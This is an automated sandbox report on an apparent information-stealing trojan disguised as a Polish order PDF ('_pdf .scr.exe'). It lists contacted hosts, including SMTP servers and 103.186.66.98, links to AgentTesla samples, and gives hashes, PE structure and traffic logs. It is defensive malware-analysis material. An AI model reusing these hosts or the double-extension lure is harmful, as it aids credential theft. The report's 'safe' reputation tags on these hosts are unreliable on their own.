https://api.ipify.org	Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000005028000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2484111274.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.00000000031E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-neti	Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354	Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003519000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r3.i.lencr.org/0-	Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2495501734.0000000006B7E000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.000000000151A000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.0000000003264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.dyn.com/	Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000005028000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2484111274.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-netJ	Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.000000000151A000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.0000000003264000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.000000000151A000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.0000000003264000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/11564914/23354;	Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://103.186.66.98	Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003131000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://r3.o.lencr.org0	Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2495501734.0000000006B7E000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.000000000151A000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.0000000003264000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mgravell/protobuf-net	Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sasl116.shellrent.com	Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.000000000325C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org/t	Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.00000000031E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003131000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.00000000031E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://smtp.creolupatoto.it	Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.000000000325C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.186.66.98	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
185.169.24.118	sasl116.shellrent.com	Italy	51191	XIRRADE	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1448646
Start date and time:	2024-05-29 11:44:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Zam#U00f3wienie Z2300056_pdf .scr.exe renamed because original name is a hash value
Original Sample Name:	Zamwienie Z2300056_pdf .scr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 92% Number of executed functions: 95 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:45:03	API Interceptor	42x Sleep call for process: Zam#U00f3wienie Z2300056_pdf .scr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.169.24.118	New order -24900242 OP_pdf .exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
172.67.74.152	K8mzlntJVN.msi	Get hash	malicious	Unknown	Browse	api.ipify.org/
	stub.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	stub.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SongOfVikings.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	SongOfVikings.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sasl116.shellrent.com	New order -24900242 OP_pdf .exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	185.169.24.118
api.ipify.org	http://customer-sp-melchiorsaric.pages.dev/help/contact/307405564348608/	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://global-2ug.pages.dev/help/contact/360835764388245	Get hash	malicious	Unknown	Browse	104.26.13.205
	Build.exe	Get hash	malicious	Luca Stealer, Quasar	Browse	172.67.74.152
	SKM_C335019110710500.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SecuriteInfo.com.Win32.PWSX-gen.21357.32352.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	Swift_Copy_101022.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	nCOg3q4a8C.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	RFQ-4645467353734.xls	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	kL8F7CwVW3.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Payment List.bat.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
XIRRADE	New order -24900242 OP_pdf .exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	185.169.24.118
	vAZYIEQMP8.elf	Get hash	malicious	Mirai, Moobot	Browse	195.138.242.157
	MaMsKRmgXZ.exe	Get hash	malicious	FormBook, GuLoader	Browse	130.185.109.77
	Product24573.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	Siirtokuitti_006703.exe	Get hash	malicious	FormBook, GuLoader	Browse	130.185.109.77
	P5348574_74676.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	Product7825.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	535276_86376.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	Product_List.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
	PS_231.exe	Get hash	malicious	FormBook	Browse	130.185.109.77
AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	mips.nn.elf	Get hash	malicious	Mirai	Browse	157.85.170.193
	skt.mips.elf	Get hash	malicious	Mirai	Browse	103.165.147.184
	1M7tN5L38L.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	157.85.230.4
	Proforma Invoice.exe	Get hash	malicious	FormBook	Browse	103.163.138.166
	http://isme-zcmp.campaign-view.eu	Get hash	malicious	Unknown	Browse	103.163.152.75
	nzKl7TpAyk.elf	Get hash	malicious	Unknown	Browse	130.222.69.171
	hZ80PhOmKK.elf	Get hash	malicious	Unknown	Browse	103.169.46.67
	sKQrQ9KjPJ.elf	Get hash	malicious	Mirai	Browse	150.203.238.150
	URocnz2wNj.elf	Get hash	malicious	Unknown	Browse	103.33.12.72
	T57QiayIem.elf	Get hash	malicious	Unknown	Browse	150.203.54.42
CLOUDFLARENETUS	http://selectidordchkin.com/6whxl3wv	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://poste-servizi.dnset.com/	Get hash	malicious	Unknown	Browse	104.26.13.95
	https://my.ing.3rdrisk.com/	Get hash	malicious	HTMLPhisher	Browse	104.19.229.21
	http://customer-sp-melchiorsaric.pages.dev/help/contact/307405564348608/	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://alkhayar.com/index.html	Get hash	malicious	Unknown	Browse	162.247.243.29
	https://request-risk-pages.vercel.app/next.html/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://att-103934-104001.weeblysite.com/	Get hash	malicious	Unknown	Browse	104.19.177.52
	https://gcc2024.sched.com/	Get hash	malicious	Unknown	Browse	104.26.4.73
	windisc.exe	Get hash	malicious	Discord Token Stealer	Browse	162.159.135.234
	https://us-ps-posyzms.top/f9b7e3e4-73e5-4a95-8335-b475aae18c28/jczJoAd~BqIXMjvx4cev9Y1=jPzEe%5EvfbKEPNnQxLDN*Iu7-d%5EMZ9g1rkQTKp6q2R87a=c8zgFvgS2AiP0eu6AngdG3EDts-HcVv	Get hash	malicious	Unknown	Browse	104.17.3.184

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	http://poste-servizi.dnset.com/	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://alkhayar.com/index.html	Get hash	malicious	Unknown	Browse	172.67.74.152
	http://yhruieiw.weebly.com/	Get hash	malicious	Unknown	Browse	172.67.74.152
	http://pub-290c9a240d854e16a41b8256edd89929.r2.dev/index.html	Get hash	malicious	Unknown	Browse	172.67.74.152
	rust-stealer-xss.exe	Get hash	malicious	Discord Token Stealer, Luca Stealer	Browse	172.67.74.152
	Build.exe	Get hash	malicious	Luca Stealer, Quasar	Browse	172.67.74.152
	KR6nDu9fLhop1bFe.exe	Get hash	malicious	Quasar	Browse	172.67.74.152
	rust-stealer-xss.exe	Get hash	malicious	Luca Stealer, Rusty Stealer	Browse	172.67.74.152
	SKM_C335019110710500.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Agreements.9744616.c2educate.pdf.htm	Get hash	malicious	Unknown	Browse	172.67.74.152

Process:	C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	5.363036002058323
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeRE4Kx1qE4j:MxHKlYHKh3owH8tHo6hAHKzeRHKx1qHj
MD5:	F1F711CFAECF73CB41019220224BA3D7
SHA1:	3FBBB184F8CB609B0854E6966021CF94CD684C8A
SHA-256:	B8374EA1B272A4A1D9B698BB7E4589191563DE7AEB03AB4B1BD56A09A5F5C5B1
SHA-512:	CE6358F1D7E440C0873DFD65C9DC14804749CA41DB3582A59314C01FF10CD6A037A720777D6C14EC454EED400B2DB52CFBFC3F1954C16BFF207F76E9A4847ADF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.832450990275191
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Zam#U00f3wienie Z2300056_pdf .scr.exe
File size:	198'656 bytes
MD5:	f70ebcff67f43e47dd4da5222beeec28
SHA1:	18d0b490b8a97ce1573ccadbde1c2af57521f1a6
SHA256:	b167b573cea7ba908de7ecc1b8fce9d269c46ddf45a9e487b73121d52e1435f8
SHA512:	0af8c756bb4ce9bdefbad1570d4a12371d3aacab8dbe25402a64b775da5d1244140236b2371e2b43650be524f9663ad9ff7813b839666505e80247d8f7fb1900
SSDEEP:	6144:o8K118D8K4EsutOdyvLf+a8SzeNxUeOs:Fw18D8K/nOdyvaiSFOs
TLSH:	6614398DA3860565FADD0E37C6F19B2143B5DC229F5EC326388839B50D3B792AE83751
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P.Vf.....................F........... ........@.. .......................`............`................................

File Icon


Icon Hash:	3270ae8c8e928286

Static PE Info

General

Entrypoint:	0x42dfd2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6656CF50 [Wed May 29 06:46:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add eax, dword ptr [eax]
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax+0000000Eh], al
jl 00007F0290D77E3Dh
add byte ptr [eax+00000010h], al
call 00007F02A9577E40h
add byte ptr [eax], al
add byte ptr [edx+00800041h], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax+00h], bl
add byte ptr [eax+00000002h], al
in al, 04h
add byte ptr [eax+00000003h], al
mov al, 15h
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
jo 00007F0290D77E02h
add byte ptr [eax], al
jl 00007F0290D77DE2h
add al, byte ptr [eax]
push 00000004h
add byte ptr [eax], al
add byte ptr [eax], ch
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [ebx], dl
or eax, dword ptr [eax]
add byte ptr [ebx], dl

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2df88	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e000	0x43d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x34000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x2bfd8	0x2c000	64f525b9dc1bf7832cc6ad4d396b1057	False	0.4482199928977273	COM executable for DOS	5.901269715110556	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x2e000	0x43d8	0x4400	801540182f6f2a0d7ec21d31e7e23f1c	False	0.16423483455882354	data	3.7755319647383168	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x34000	0xc	0x200	43006282bcb1e91dad42fe76026fb94d	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x2e07c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m	0.3696808510638298
RT_ICON	0x2e508	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m	0.16299249530956847
RT_ICON	0x2f5d4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m	0.10778008298755187
RT_GROUP_ICON	0x31bb8	0x30	data	0.8125
RT_VERSION	0x31c24	0x58e	data	0.27637130801687765
RT_MANIFEST	0x321ee	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 29, 2024 11:45:05.180883884 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:05.185832024 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:05.185921907 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:05.186760902 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:05.191684008 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.128968000 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.129012108 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.129065990 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.129076958 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:06.129101038 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.129136086 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.129148960 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:06.129172087 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.129218102 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:06.373313904 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.373346090 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.373373985 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.373440027 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:06.373544931 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.373584986 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:06.373590946 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.373626947 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.373656034 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.373663902 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:06.374070883 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.374088049 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.374108076 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:06.374360085 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.374378920 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.374397039 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:06.420068026 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:06.617944002 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.617980957 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.617995024 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.618010044 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.618025064 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.618040085 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.618055105 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.618105888 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:06.618172884 CEST	49701	80	192.168.2.7	103.186.66.98
May 29, 2024 11:45:06.618854046 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.618869066 CEST	80	49701	103.186.66.98	192.168.2.7
May 29, 2024 11:45:06.618884087 CEST	80	49701	103.186.66.98	192.168.2.7
